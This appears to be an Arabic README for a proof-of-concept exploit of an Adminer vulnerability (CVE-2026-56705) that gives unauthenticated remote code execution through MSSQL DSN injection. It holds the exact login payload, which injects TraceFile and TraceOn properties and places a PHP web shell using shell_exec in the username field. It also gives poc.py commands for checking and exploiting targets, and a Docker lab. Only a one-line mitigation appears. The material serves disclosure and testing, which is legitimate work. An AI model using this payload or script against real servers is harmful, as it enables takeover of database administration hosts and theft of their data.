
استغلال PoC لثغرة Adminer < 5.4.3 في تنفيذ الأوامر عن بُعد (RCE) غير المصادق عليه عبر حقن DSN الخاص بـ MSSQL PDO، بما في ذلك مختبر Docker واختبار سلبي.
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (استشارة البائع) / GHSA-34q8-53jm-qc2r (قاعدة بيانات GitHub) |
| المنتج | Adminer (أداة إدارة قواعد بيانات PHP بملف واحد) |
| الإصدارات المتأثرة | Adminer < 5.4.3 مع pdo_sqlsrv + برنامج تشغيل Microsoft ODBC لـ SQL Server |
| تم الإصلاح في | 5.4.3 |
| CVSS | 9.8 حرجة (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| النوع | CWE-20 ← كتابة ملفات تعسفية غير مصادق عليها ← تنفيذ أوامر عن بُعد |
يفشل Adminer في تعقيم حقل server الذي يقدمه المستخدم قبل بناء
PDO DSN لاتصالات MSSQL:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
تُعامل الفواصل المنقوطة في server كمحددات لخصائص اتصال ODBC، لذا يمكن
لمهاجم غير مصادق عليه إلحاق خصائص تعسفية بـ DSN — بما في ذلك
TraceFile و TraceOn. تكتب ميزة تتبع unixODBC سلسلة الاتصال الكاملة
(مع UID={username} حرفيًا) إلى TraceFile قبل وبغض النظر عن
نجاح محاولة الاتصال. حقن كود PHP عبر حقل username
وتوجيه TraceFile إلى جذر الويب ينتج عنه قشرة ويب.
يكفي طلب POST واحد لتسجيل الدخول دون مصادقة. لا حاجة لبيانات اعتماد صالحة، ولا تفاعل من المستخدم.
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1UID={<?php ... ?>} إلى /var/www/shell.phpGET /shell.php?c=id ← يتم تنفيذ الأمر# بصمة فقط
python3 poc.py --target http://target/adminer.php --check
# استغلال كامل (يكتب <random>.php في جذر الويب)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
تعكس صورة المختبر متطلبات الاستشارة بدقة: php:8.3-cli +
pdo_sqlsrv (pecl) + msodbcsql18، مع جذر ويب قابل للكتابة بواسطة عملية PHP.
mssql، أو جرّد
الفواصل المنقوطة ; (والمسافات) من قيم server المقدمة من المستخدم عند وكيل عكسي.تنسب استشارة البائع الاكتشاف بشكل مشترك إلى المُبلّغ و Yashar Shahinzadeh (@voorivex).
PoC والمختبر: Hamza Cagrici (@Boreas37)
| التاريخ | الحدث |
|---|---|
| 2026-08-25 | نشر CVE / تم الإصلاح في Adminer 5.4.3 |